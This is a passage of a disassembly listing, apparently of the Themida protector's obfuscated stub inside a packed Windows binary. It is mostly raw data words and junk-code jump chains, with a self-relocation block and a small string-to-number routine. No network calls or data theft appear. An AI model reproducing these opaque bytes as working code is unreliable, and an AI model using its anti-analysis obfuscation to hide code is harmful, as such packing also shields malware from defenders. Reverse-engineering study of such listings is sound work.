57470000h, 5B3892C3h, 0CDD1DB81h dd 0B839E2h, 0F000000h, 583h, 0CA816600h, 74E90837h, 0F000000h dd 1989h, 11E800h, 75AA0000h, 5F754031h, 0A43E7AADh, 473DEE69h dd 6048A2FCh, 858B5B61h, 5EA1439h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 77C35646h, 92DF4B3h, 0EA31499Dh dd 0E9E0FF05h, 13h, 83E9116Bh, 4C4DF493h, 0C4DE6844h, 185A0B5Ch dd 608EC807h, 0BD858B57h, 5E05EA06h, 2ACDB58Bh, 836105EAh dd 0EA2E7DBDh, 850F0005h, 143h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 28C35545h, 6B04006h, 0D89AE318h dd 0F605091h, 84h, 0F525000h, 5AD38B31h, 4896158h, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0A2CF3061h, 9523F429h, 5EA1D39h, 1A098D89h, 64BB05EAh dd 0C66BF97Ch, 0EA1A4585h, 0F504505h, 682h, 6DB8100h, 5A5A89D2h dd 4E8F9h, 69690000h, 60608E72h, 0FE9h, 0A11AAB00h, 0F3651212h dd 618B3DBh, 80D4ACB0h, 0BE8h, 9D50BA00h, 0F685232Eh, 0B2B1A486h dd 5061615Ah, 13E9h, 0C1206900h, 0B111A38Ch, 0B9487115h dd 9DEB8C09h, 0C2C7E587h, 424448Bh, 4991BB66h, 8B66008Bh dd 244489DEh, 584CB704h, 0B5FFD98Bh, 5EA1D45h, 14E9h, 585FBA00h dd 7A6F1B2Dh, 0AA6E4A78h, 0F3387A2Fh, 0F10547BCh, 69858D8Ah dd 0F05EA39h, 386h, 0D9BF0F00h, 0B589D0FFh, 5EA2995h, 2E7D8589h dd 860F05EAh, 6, 14D19503h, 0E95805EAh, 13h, 20A02002h dd 0B8E8159Eh, 9F975DA3h, 0DBB6F9F4h, 830E7C14h, 0EA4C12BDh dd 840F0005h, 69h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0B8C35242h, 668E07AEh, 290D87BBh, 0EA02818Dh dd 51B5FF05h, 6A05EA0Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 972BC350h, 51C2C2ADh dd 958BB90Bh, 5EA28C1h, 2E03F281h, 95FF3EBCh, 5EA2E7Dh dd 29E28166h, 0F883F4h, 0EA850Fh, 0BD890000h, 5EA05F5h dd 0FFDBD83h, 0F0005EAh, 6C84h, 0D8B70F00h, 0FFDB5FFh dd 6A05EAh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 666320C3h, 1B8D78Bh, 3000000h, 0EA1C1D95h dd 15958B05h, 0E905EA0Bh, 230h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0DEC35747h, 0F1FA59CEh, 8E9h dd 5864B800h, 0ED2C5878h, 51B5FFD1h, 8905EA0Bh, 0EA300595h dd 51B5FF05h, 105EA0Bh, 0EA2ED5BDh, 7D958B05h, 0FF05EA05h dd 0EA2E7DB5h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0BF74BEDDh, 153A0B7Ch dd 0B5E9B82Ch, 6A000001h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 0FC88C350h, 9D9D315Fh dd 8305EA11h, 0EA02F9BDh, 850F0005h, 0DAh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 71C35040h, 0FC44F57Ch dd 108F0Fh, 0BE90000h, 27000000h, 3FE52F9Bh, 43542769h dd 85C63DF4h, 5EA1A45h, 8E94Dh, 0FC410000h, 0D916F994h dd 0DB80CFACh, 4E804h, 76A80000h, 10E8A435h, 59000000h dd 0F529C55Dh, 9CF791CFh, 0CB4BE497h, 66D3DE31h, 5B27C9BAh dd 8BD78A50h, 0E8042444h, 7, 0B5FFDB6Fh, 0BB69DADDh, 2FD5B884h dd 0E8008B5Ah, 9, 3E8CA6BAh, 0C8719546h, 880F60C8h, 0 dd 5B6199B7h, 4244489h, 6658A2B6h, 9D8BD68Bh, 5EA0BC5h dd 1C8DB5FFh, 952905EAh, 5EA2B15h, 3969858Dh, 0BA6605EAh dd 0D0FF8426h, 85895AB6h, 5EA02F9h, 32FDB589h, 0B805EAh dd 66000000h, 0BDA8D281h, 4BBBBD89h, 0BF0F05EAh, 0FC00BD7h dd 6B84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0F25D44Fh, 0F85h, 0AE900h, 3E030000h dd 0B6E9EAF3h, 90EEF2CBh, 418D8960h, 905EA2Ch, 0EA33019Dh dd 49E96105h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 572C357h, 657EF57Eh dd 9FB70E57h, 2E7DB5FFh, 5EBA05EAh, 8B137376h, 0DF858DD7h dd 0F05ECD7h, 0B690D2BFh, 8B66509Dh, 0BD8990D9h, 5EA2C11h dd 0BD8D5650h, 5EA52FDh, 788C8D8Dh, 0BCB805EAh, 2B748323h dd 0D00730CFh, 754947C8h, 83585EF8h, 0EA0FFDBDh, 6740005h dd 2B2D8D8Bh, 0C93305EAh, 0B8h, 0FC00B00h, 9984h, 0E9BD8300h dd 5EA23h, 95FF0674h, 5EA086Dh, 0B8h, 75C00B00h, 0C3BD8309h dd 105EA4Bh, 0BD830974h, 5EA4BC3h, 8B0E7502h, 0EA4BBBB5h dd 0DF858D05h, 0FF05ECD7h, 0D8858DD0h, 0FF05EA41h, 0C9BD83D0h dd 205EA0Fh, 0A58B2F75h, 5EA1D71h, 0FFD858Bh, 48905EAh dd 0CD85C724h, 105EA20h, 8B000000h, 0EA4BBFB5h, 0CDAD8B05h dd 0B805EA0Bh, 1, 0EB000CC2h, 0CD85C700h, 105EA20h, 8B000000h dd 0EA1D71A5h, 8DB58B05h, 8B05EA1Dh, 0EA0BCDADh, 0C2C03305h dd 0BD83000Ch, 5EA02B5h, 830F7400h, 0EA1255BDh, 6740005h dd 125595FFh, 0B58B05EAh, 5EA4BBBh, 6D9D31C3h, 6605EA0Dh dd 2B6EBCBBh db 0D2h, 8Bh, 0D3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_5483F3 ; --------------------------------------------------------------------------- loc_5483F1: ; CODE XREF: Themida_:005483F6j inc eax inc edi loc_5483F3: ; CODE XREF: Themida_:005483EFj cmp byte ptr [edi], 0 jnz short loc_5483F1 xor ecx, ecx mov edi, [ebp+8] jmp short loc_548422 ; --------------------------------------------------------------------------- loc_5483FF: ; CODE XREF: Themida_:00548424j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_548417 ; --------------------------------------------------------------------------- loc_548414: ; CODE XREF: Themida_:0054841Aj mul ebx dec esi loc_548417: ; CODE XREF: Themida_:00548412j cmp esi, 0 ja short loc_548414 pop ebx add ecx, eax pop eax inc edi dec eax loc_548422: ; CODE XREF: Themida_:005483FDj or eax, eax jnz short loc_5483FF mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- dd 0AE9h, 7D7EBD00h, 0A67EC4F0h, 0BBB14C88h, 749D897Bh dd 0ADE9C18Bh, 60000001h, 2424748Bh, 28247C8Bh, 8A80B2FCh dd 7884606h, 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h dd 0FFFFE283h, 0FD202FFh, 585h, 46168A00h, 830FD212h, 6Ah dd 0D202C033h, 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h dd 585h, 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h dd 5850Fh, 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh dd 4707885Fh, 2BBh, 0FF70E900h, 1B8FFFFh, 2000000h, 5850FD2h dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h, 1784h dd 2D18300h, 8B56E88Bh, 0F3F02BF7h, 1BB5EA4h, 0E9000000h dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 5196E900h dd 0FF680002h, 57720012h, 2 dup(5C64005Bh), 5Bh, 280000h dd 3F025Ah, 246025Ah, 20000h, 10000h, 30000h, 0A690000h dd 0FA6Ah, 4 dup(0) dd 0E2340000h, 0DEDA0054h, 0BC7C0054h, 9E840054h, 4BA00054h dd 0B9A60055h, 4AFC0054h, 0CC2F0055h, 0FE4C0054h, 0C20A0054h dd 24D60054h, 0DFA80055h, 8CD20054h, 448A0054h, 0F03E0055h dd 0BE8F0054h, 0E2B70054h, 38310054h, 0E3DE0055h, 96F00054h dd 0FF920054h, 0DC670054h, 8EEF0054h, 0E7520054h, 9EFF0054h dd 17810054h, 0A5060055h, 0CDD80054h, 30700054h, 0BC320055h dd 98430054h, 2DD0054h, 43DE0055h, 0C2C90055h, 9D1F0054h dd 0A08A0054h, 0E7860054h, 0DFFE0054h, 4AE10054h, 35790055h dd 8BC70055h, 3B0C0054h, 0EC6C0055h, 36540054h, 0F6760055h dd 1E3E0054h, 0AE920055h, 21640054h, 0EDAD0055h, 25670054h dd 3B190055h, 0B36F0055h, 0CF890054h, 0CDD20054h, 0AFD0054h dd 51D10055h, 1E5D0055h, 65D0055h, 98190055h, 90D70054h dd 52A60054h, 8A220055h, 5AC10054h, 304B0055h, 53500055h dd 0B0950055h, 9B70054h, 2BC90055h, 0BB770055h, 10860054h dd 0C14D0055h, 46980054h, 16410055h, 96490055h, 2FDE0054h dd 0BDBE0055h, 0EBC10054h, 0A00B0054h, 0BB3A0054h, 0AF670054h dd 0D07D0054h, 0E5590054h, 3F100054h, 0CF760055h, 0DE3E0054h dd 0C9020054h, 0D43D0054h, 0B5020054h, 0D6320054h, 0F4910054h dd 2AC50054h, 50960055h, 42E00055h, 53EB0055h, 2BD80055h dd 89CB0055h, 5C960054h, 0D5BC0055h, 0C6470054h, 22E50054h dd 0B4250055h, 0E7660054h, 95F70054h, 0C86C0054h, 0A84F0054h dd 9230054h, 33A40055h, 0EEB30055h, 0E0E90054h, 5D140054h dd 25500055h, 0FAEA0055h, 0C0070054h, 374A0054h, 1B2A0055h dd 941B0055h, 0A7770054h, 0C0210054h, 0B9480054h, 11F70054h dd 2C540055h, 45EB0055h, 481F0055h, 0A1E20055h, 8DEC0054h dd 0A65D0054h, 228A0054h, 0C790055h, 93FD0055h, 3D870054h dd 156D0055h, 0CD620055h, 0F260054h, 0F2B50055h, 0A8F70054h dd 0C8A20054h, 27A20054h, 0C8510055h, 0D8440054h, 0F08B0054h dd 27FF0054h, 0AEEA0055h, 18100054h, 0C52A0055h, 0E16C0054h dd 0ADA80054h, 0FCC50054h, 0DBA40054h, 9C640054h, 0B2210054h dd 54A10054h, 46090055h, 1ED40055h, 97B90055h, 5B9C0054h dd 13E00055h, 16080055h, 0B7EE0055h, 4E3C0054h, 23670055h dd 0D6DE0055h, 1DBA0054h, 8A5F0055h, 0C17B0054h, 0DFC0054h dd 0A1750055h, 8CF20054h db 54h, 0 ; --------------------------------------------------------------------------- loc_5488E2: ; CODE XREF: Themida_:00578BA6j ; Themida_:0057ACC5j ... pusha pushf cld call $+5 pop edi sub edi, 5EA7E81h mov eax, edi add edi, 5EA7B99h cmp eax, [edi+2Ch] jnz short loc_548900 jmp short loc_548913 ; --------------------------------------------------------------------------- loc_548900: ; CODE XREF: Themida_:005488FCj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_54890F ; --------------------------------------------------------------------------- loc_54890A: ; CODE XREF: Themida_:00548911j add [edi+ecx*4+40h], eax dec ecx loc_54890F: ; CODE XREF: Themida_:00548908j or ecx, ecx jnz short loc_54890A loc_548913: ; CODE XREF: Themida_:005488FEj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_548920: ; CODE XREF: Themida_:00548927j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_548920 loc_548929: ; CODE XREF: Themida_:00548A69j ; Themida_:005493D0j ... lodsb jmp loc_54F7B1 ; --------------------------------------------------------------------------- db 89h dd 0E389241Ch, 4C39E9h, 4CE46800h, 0EAE90000h, 0BF0000C8h dd 22EF07B9h, 0B095EF81h, 0E1E9EE2Fh db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548953: ; CODE XREF: Themida_:0054EE89j push eax mov eax, 4E4C45F8h shr eax, 6 jmp loc_54B125 ; --------------------------------------------------------------------------- db 58h, 51h, 0B9h dd 4, 2767BE56h, 0F001229Ch, 2DC8015Eh, 229C2767h, 36ECE9h dd 240C8B00h, 0C8B5451h, 4C48324h, 4A37BB53h, 0E3811F76h dd 1BDE680Ch, 0CABBE9h db 0 ; --------------------------------------------------------------------------- loc_548999: ; CODE XREF: Themida_:00549AF5j mov esi, 653939EFh xor ebp, esi pop esi jmp loc_55556A ; --------------------------------------------------------------------------- loc_5489A6: ; CODE XREF: Themida_:005526ACj sub edi, 4503AE3h add edi, 4354084Eh jmp loc_54E330 ; --------------------------------------------------------------------------- db 0Fh dd offset aQ_0 ; "╠^Л\a÷" dd 4EC8300h, 0E9241C89h, 928Eh, 66D88A59h, 8324048Bh, 0C8904ECh dd 0C8B5424h, 4C48124h, 53000000h, 4FF3E9h, 0BCC18100h dd 2DFEBFFBh, 2A8D08A2h, 0A205C801h, 0E92A8D08h, 563Dh dd 8704C583h, 0A4E9242Ch db 0C6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548A07: ; CODE XREF: Themida_:00554230j mov al, 0F7h inc al xchg bl, al jmp loc_54AA3D ; --------------------------------------------------------------------------- loc_548A12: ; CODE XREF: Themida_:0054F437j add esp, 4 xchg edi, [esp] pop esp mov [esp], cx jmp loc_54BC52 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 4EC8358h, 54242C89h, 4BE565Dh, 1000000h dd 49A6E9F5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548A3E: ; CODE XREF: Themida_:0054A6BEj mov ecx, 2FCD3CADh sub edx, ecx pop ecx jmp loc_554B87 ; --------------------------------------------------------------------------- loc_548A4B: ; CODE XREF: Themida_:0054D307j dec al add al, 9 xor bh, al pop eax sub dh, bh mov ebx, [esp] add esp, 4 jmp loc_55244A ; --------------------------------------------------------------------------- loc_548A5F: ; CODE XREF: Themida_:00555616j push dword ptr [edi+1Ch] popf pop cx rcr byte ptr [esp], cl pushf jmp loc_548929 ; --------------------------------------------------------------------------- loc_548A6E: ; CODE XREF: Themida_:005528A0j push 44A23B8Dh jmp loc_549702 ; --------------------------------------------------------------------------- loc_548A78: ; CODE XREF: Themida_:0054D3C8j sub ebx, 429955FBh pop eax xchg ebx, [esp] jmp loc_55426C ; --------------------------------------------------------------------------- loc_548A87: ; CODE XREF: Themida_:0054DE9Dj not edx or edx, 49244A05h add edx, 0C6A28BF8h add esi, edx jmp loc_55375F ; --------------------------------------------------------------------------- loc_548A9C: ; CODE XREF: Themida_:00548ECAj xor [esp], ecx jmp loc_548D0E ; --------------------------------------------------------------------------- loc_548AA4: ; CODE XREF: Themida_:0054A428j and bl, 8Ah sub bl, 62h xor dh, bl pop ebx push ecx mov ch, dh mov ah, ch pop ecx mov edx, [esp] add esp, 4 sub ah, 5Bh jmp loc_54AEBC ; --------------------------------------------------------------------------- loc_548AC1: ; CODE XREF: Themida_:00555C14j pop esp jmp loc_54BA81 ; --------------------------------------------------------------------------- loc_548AC7: ; CODE XREF: Themida_:loc_551C44j dec esi jp loc_54F7CE dec esi push ebp mov ebp, 48833EE9h xor esi, ebp pop ebp xor esi, 0B5C2EEEh jmp loc_54BAAF ; --------------------------------------------------------------------------- db 0BFh dd 1298187Fh, 4AE1E9h, 24043100h, 0BDF0E9h db 0 ; --------------------------------------------------------------------------- loc_548AF5: ; CODE XREF: Themida_:00555BDAj mov edx, 63E3673Ch jmp loc_54BE66 ; --------------------------------------------------------------------------- loc_548AFF: ; CODE XREF: Themida_:0054B21Cj pop esi push ebp jmp loc_552F36 ; --------------------------------------------------------------------------- loc_548B06: ; CODE XREF: Themida_:005506F3j jmp loc_54B078 ; --------------------------------------------------------------------------- db 59h dd 0A52DF829h, 0E960DE67h, 0AC0Bh, 0E2CE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548B1E: ; CODE XREF: Themida_:0054EB68j ; Themida_:00552EC5j add edi, 4 jmp loc_54CE68 ; --------------------------------------------------------------------------- loc_548B29: ; CODE XREF: Themida_:00552445j or edx, eax shl edx, 1 jmp loc_54D1CA ; --------------------------------------------------------------------------- loc_548B32: ; CODE XREF: Themida_:0054EE46j mov esi, 223157B4h add esi, 7522061Ch sub esi, 97535DCCh add eax, esi jmp loc_54A6E7 ; --------------------------------------------------------------------------- dw 0E955h dd 4718h ; --------------------------------------------------------------------------- loc_548B50: ; CODE XREF: Themida_:0054A93Fj mov esp, [esp] push 64C2h mov [esp], ebp mov ebp, 100h and eax, ebp jmp loc_54F29A ; --------------------------------------------------------------------------- loc_548B67: ; CODE XREF: Themida_:0054AB30j ; Themida_:00551535j add edx, 31787709h pop edi jmp loc_552C30 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 4C78100h, 57000000h, 42474FFh, 81243C8Bh, 4C4h dd 24048F00h, 2434FF5Ch, 0FF2434FFh, 83582434h, 0C48304C4h dd 8B545204h, 0C4832414h, 5843E904h, 840F0000h, 9C43h dd 0E902E6C1h, 0B25Fh, 4C481h, 82E90000h, 660000A3h, 6824048Bh dd 43DBh, 68240C89h, 3DF0h, 51242489h, 3478E9h db 0 ; --------------------------------------------------------------------------- loc_548BE1: ; CODE XREF: Themida_:00555AE4j add ebp, esi pop esi add ebp, 2 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] push 33EFh mov [esp], ebx mov ebx, 0 add ebx, eax push 6577h mov [esp], eax mov eax, esp jmp loc_555DF3 ; --------------------------------------------------------------------------- loc_548C14: ; CODE XREF: Themida_:0054D9B8j add ebx, eax push eax jmp loc_5540B1 ; --------------------------------------------------------------------------- loc_548C1C: ; CODE XREF: Themida_:0054E9A7j ; Themida_:005543C7j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov esi, [esp] add esp, 4 push esi push 2548h mov [esp], ebx jmp loc_54CB0E ; --------------------------------------------------------------------------- db 0B2h, 7Eh, 80h dd 0E280ACC2h, 0B151502Eh, 3C18069h, 710A800Fh, 0E9800000h dd 80D9F6AEh, 0E9C0B1C1h, 9A880F08h, 80000071h, 0C8880BC1h dd 58C23059h, 5521E953h, 0E95A0000h, 795Fh ; --------------------------------------------------------------------------- loc_548C78: ; CODE XREF: Themida_:00549F32j or eax, eax jz loc_5520AC push dword ptr [edi+28h] mov eax, [esp] push 524Eh jmp loc_54D497 ; --------------------------------------------------------------------------- dd 6658E520h, 205EB652h, 805A66F5h, 0AFE966C5h db 5Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_548CA3: ; CODE XREF: Themida_:005547E6j add ebx, ebp mov ebp, [esp] add esp, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_54B00F ; --------------------------------------------------------------------------- dw 29B1h dd 0D9F6D9F6h, 8484850Fh, 0C1800000h, 0CB8853ECh, 1C8BD888h dd 1CF75824h, 33E99C24h db 97h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548CDB: ; CODE XREF: Themida_:0055237Fj push 139475D4h pop ecx neg ecx jmp loc_54F7E1 ; --------------------------------------------------------------------------- dd 1568h, 98ADE900h, 8B660000h, 0DE68240Ch, 89000053h dd 668243Ch, 5400002Ah, 5224048Fh, 6C46E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548D0E: ; CODE XREF: Themida_:00548A9Fj xor ecx, [esp] mov esp, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax mov eax, esp push ebp mov ebp, 4 add eax, ebp push dword ptr [esp] pop ebp add esp, 4 add eax, 4 xchg eax, [esp] jmp loc_553D43 ; --------------------------------------------------------------------------- dd 0A245F3BBh, 5B5E5325h, 0E905EEC1h, 542h, 5C241C33h dd 7CA8E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_548D5E: ; CODE XREF: Themida_:0054EFA5j sub ebx, ecx add ebx, 1BE44D6h push dword ptr [esp] pop ecx jmp loc_54DF52 ; --------------------------------------------------------------------------- db 0B9h dd 34D3503Ah, 4EC81h, 4890000h, 7608B824h, 0C131547Eh dd 0E9C82958h, 6A14h ; --------------------------------------------------------------------------- loc_548D8C: ; CODE XREF: Themida_:005506CEj shr ebp, 4 and ebp, 5BC456A1h push esi mov esi, 0FC44878h inc esi jmp loc_553091 ; --------------------------------------------------------------------------- aSfSs db ',Иf[ИИ;',0 align 2 aUh db 'Uh╩`',0 align 10h dd 0BF243C89h, 1BB56BE2h, 106BEF81h, 0FD89D1CFh, 0CF70E95Fh dd 0D8310000h, 5F3168h, 241C8900h, 81E18951h, 4C1h, 4E98300h dd 0E9240C87h, 0BBEBh ; --------------------------------------------------------------------------- loc_548DE4: ; CODE XREF: Themida_:00551A17j add ebp, 4 jmp loc_551A06 ; --------------------------------------------------------------------------- dd 51E08950h, 487492B9h, 4E1C156h, 5C4E181h, 0D9F70D12h dd 1869E181h, 0E9537887h, 8A3Eh ; --------------------------------------------------------------------------- loc_548E0C: ; CODE XREF: Themida_:0054BC2Dj neg ebp jmp loc_54A652 ; --------------------------------------------------------------------------- db 0Fh dd offset byte_5C1A81 dd 4DEA8100h, 0F57820Ch, 863381h db 0, 5Bh ; --------------------------------------------------------------------------- loc_548E26: ; CODE XREF: Themida_:00552AC0j push dword ptr [esp] pop edi jmp loc_554F43 ; --------------------------------------------------------------------------- loc_548E2F: ; CODE XREF: Themida_:0054E45Cj add ebx, 199F6DDAh sub ebx, 38F5E6Ah sub ebx, edi add ebx, 38F5E6Ah sub ebx, 199F6DDAh jmp loc_5530A7 ; --------------------------------------------------------------------------- dw 0C329h dd 5BD80158h, 0E902C083h, 2E45h ; --------------------------------------------------------------------------- loc_548E5C: ; CODE XREF: Themida_:0054B982j mov ebp, 4BBD74D1h or ebp, 3FB31015h not ebp add ebp, 662B7576h add ebp, 4253000Eh sub ebp, 28BF00AAh add ecx, ebp mov ebp, [esp] jmp loc_5521E9 ; --------------------------------------------------------------------------- db 0Fh, 84h, 38h dd 0F7000057h, 0FB25E9DEh, 0F681FFFFh, 7AFBE5D1h, 815EF109h dd 99BF99C1h, 31C2059Ah, 0C8016012h, 1231C22Dh, 0FACBE960h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_548EB2: ; CODE XREF: Themida_:0054DB9Fj push dword ptr [esp] mov eax, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_548A9C ; --------------------------------------------------------------------------- loc_548ECF: ; CODE XREF: Themida_:005522B2j mov bh, 87h add bh, 0DFh jmp loc_553641 ; --------------------------------------------------------------------------- loc_548ED9: ; CODE XREF: Themida_:00550959j shl cx, 7 shr cx, 3 add cx, 5A86h mov dx, cx pop ecx jmp loc_55078B ; --------------------------------------------------------------------------- db 30h dd 81E9240Ch, 1000035h, 2434FFD7h, 4C4815Ah, 0E9000000h dd 2341h, 0FD0C981h, 0E1C1174Bh, 368B0F08h, 8100005Ah dd 114C5DF1h, 8BCA89BAh, 0C481240Ch, 4, 3DE9D329h, 0B600006Dh dd 7E6C0C7h, 0D6F6DEF6h, 28C2C680h, 0D0005AF0h, 8B664104h dd 0C4812414h, 2, 374DE9h, 0E6C38100h, 0F72A0177h, 6AE381DBh dd 5241FB02h, 7902B951h, 0E9811D3Fh, 6AE63939h, 6F2E9h dd 2C28100h, 87000000h, 0E95C2414h, 50C7h ; --------------------------------------------------------------------------- loc_548F80: ; CODE XREF: Themida_:00549F6Bj xor edx, eax jmp loc_550440 ; --------------------------------------------------------------------------- loc_548F87: ; CODE XREF: Themida_:00549127j pop edi inc edi jge loc_553AEB xor edi, 2B4E47D5h jmp loc_5548FD ; --------------------------------------------------------------------------- loc_548F9A: ; CODE XREF: Themida_:00554AF7j add edx, 4 jmp loc_54B729 ; --------------------------------------------------------------------------- loc_548FA5: ; CODE XREF: Themida_:00553C2Fj add esi, 0F4CE234Ah mov edx, esi jmp loc_55160E ; --------------------------------------------------------------------------- dw 0C701h dd 58E8C781h, 48B186Ch, 4C48124h, 83000000h, 0FF5702C7h dd 8B042474h, 0C481243Ch, 4, 0E924048Fh, 3AEFh, 4BF5758h dd 1000000h, 53575FF8h, 5D4979BBh, 1DACE91Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_548FF2: ; CODE XREF: Themida_:00555B0Bj push ebx push eax jmp loc_549D47 ; --------------------------------------------------------------------------- db 80h, 0F2h, 0B9h dd 0C05AD188h, 8B0F05E9h, 6EFAh, 0FF0F180h, 0A25088h, 9B4AE900h dd 6C010000h, 8E0F0424h, 1E65h ; --------------------------------------------------------------------------- loc_549020: ; CODE XREF: Themida_:0054EFB0j jb loc_54A644 add ebx, 477923Dh mov esi, ebx pop ebx add esi, ebp pop ebp jmp loc_5533F9 ; --------------------------------------------------------------------------- aRYzhfsii db 'R╨yzhfИi╘',0 align 2 loc_549042: ; CODE XREF: Themida_:00549189j ; Themida_:loc_54D930j jmp loc_549D7D ; --------------------------------------------------------------------------- db 89h dd 4C581E5h, 83000000h, 2C3304EDh, 242C3124h, 5C242C33h dd 2217E9h db 0 ; --------------------------------------------------------------------------- loc_549061: ; CODE XREF: Themida_:0054CDEFj push dword ptr [esp] pop esi add esp, 4 push 2611h mov [esp], eax sub esp, 4 mov [esp], edx mov edx, 549514E4h shr edx, 6 not edx inc edx sub edx, 0FEADAB8Dh push edx add dword ptr [esp], 1E091B94h pop eax sub eax, 1E091B94h pop edx add eax, edi push 5521h mov [esp], ebp mov ebp, 1 jmp loc_54B6BB ; --------------------------------------------------------------------------- loc_5490AA: ; CODE XREF: Themida_:00553DCFj add edx, esi jmp loc_549881 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 0A095E9h, 63C78100h, 0E938246Ch, 0FEAh, 4EC1EF81h, 0C3817272h dd 496D6C8Ch, 7BE9FB01h, 0FF0000A7h, 0E9592434h, 92A4h ; --------------------------------------------------------------------------- loc_5490E0: ; CODE XREF: Themida_:00553D23j pop ecx jmp loc_54CFD4 ; --------------------------------------------------------------------------- dw 0C283h dd 24148704h, 6201E95Ch, 0E3890000h, 4C381h, 17E90000h db 0C4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5490FF: ; CODE XREF: Themida_:0054F132j push esp mov ebx, [esp] jmp loc_54FD72 ; --------------------------------------------------------------------------- dd 0E9240489h, 7CAAh ; --------------------------------------------------------------------------- loc_549110: ; CODE XREF: Themida_:00555F2Cj mov esp, [esp] or edx, eax jmp loc_549914 ; --------------------------------------------------------------------------- loc_54911A: ; CODE XREF: Themida_:0054F9E6j push 1E09h mov [esp], edi push 5E0E7E59h jmp loc_548F87 ; --------------------------------------------------------------------------- loc_54912C: ; CODE XREF: Themida_:00550C56j xor ah, 34h or dl, ah pop eax sub dl, 0F1h xor dl, 34h xor al, dl pop edx push edx push bx jmp loc_5528B1 ; --------------------------------------------------------------------------- loc_549143: ; CODE XREF: Themida_:0054BC9Cj or edx, eax shl edx, 1 push esi push eax mov eax, 6B7E6442h push ebp jmp loc_55286F ; --------------------------------------------------------------------------- loc_549154: ; CODE XREF: Themida_:00551B6Aj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push esi mov esi, 57961EF1h jmp loc_54CDA5 ; --------------------------------------------------------------------------- loc_54916F: ; CODE XREF: Themida_:0054BE35j sub eax, edi pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_549DCE ; --------------------------------------------------------------------------- loc_549181: ; CODE XREF: Themida_:0054F981j neg esi jns loc_549940 jmp loc_549042 ; --------------------------------------------------------------------------- dw 46E9h dd 89FFFFFDh, 4C281E7h, 57000000h, 4BFh, 9C0EE900h, 0C890000h dd 76B76824h, 4890000h, 0B5EFB024h, 1D4DE9CBh, 5A660000h dd 0C8BC830h, 0A86CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5491C6: ; CODE XREF: Themida_:0054A2DCj pop ebx xchg edx, [esp] jmp loc_54C472 ; --------------------------------------------------------------------------- loc_5491CF: ; CODE XREF: Themida_:loc_5517D0j or ebp, 5E8345Eh jo loc_54DB24 push 6C4Fh jmp loc_54F37D ; --------------------------------------------------------------------------- db 1, 0D7h, 5Ah dd 0E9240C8Bh, 0FFFFF983h ; --------------------------------------------------------------------------- loc_5491F0: ; CODE XREF: Themida_:00552114j jp loc_54B6A4 